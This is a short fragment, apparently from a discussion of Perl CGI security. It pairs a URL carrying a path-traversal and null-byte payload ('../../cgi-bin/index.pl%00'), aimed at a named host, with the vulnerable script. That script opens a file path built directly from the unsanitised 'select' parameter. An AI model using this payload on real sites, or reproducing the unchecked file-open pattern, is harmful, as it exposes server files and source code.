http://nikos.no-ip.org/cgi-bin/index.pl/?select=../../cgi-bin/index.pl%00

##</code><code>##

my $passage = param('select') || "&#913;&#961;&#967;&#953;&#954;&#942; &#931;&#949;&#955;&#943;&#948;&#945;!";
Encode::from_to($passage, "utf8", "ISO-8859-7") if param();


if ( param('select') )
{
    open(FILE, "<../data/text/$passage.txt") or die $!;
         local $/;
         $data = <FILE>;
    close(FILE);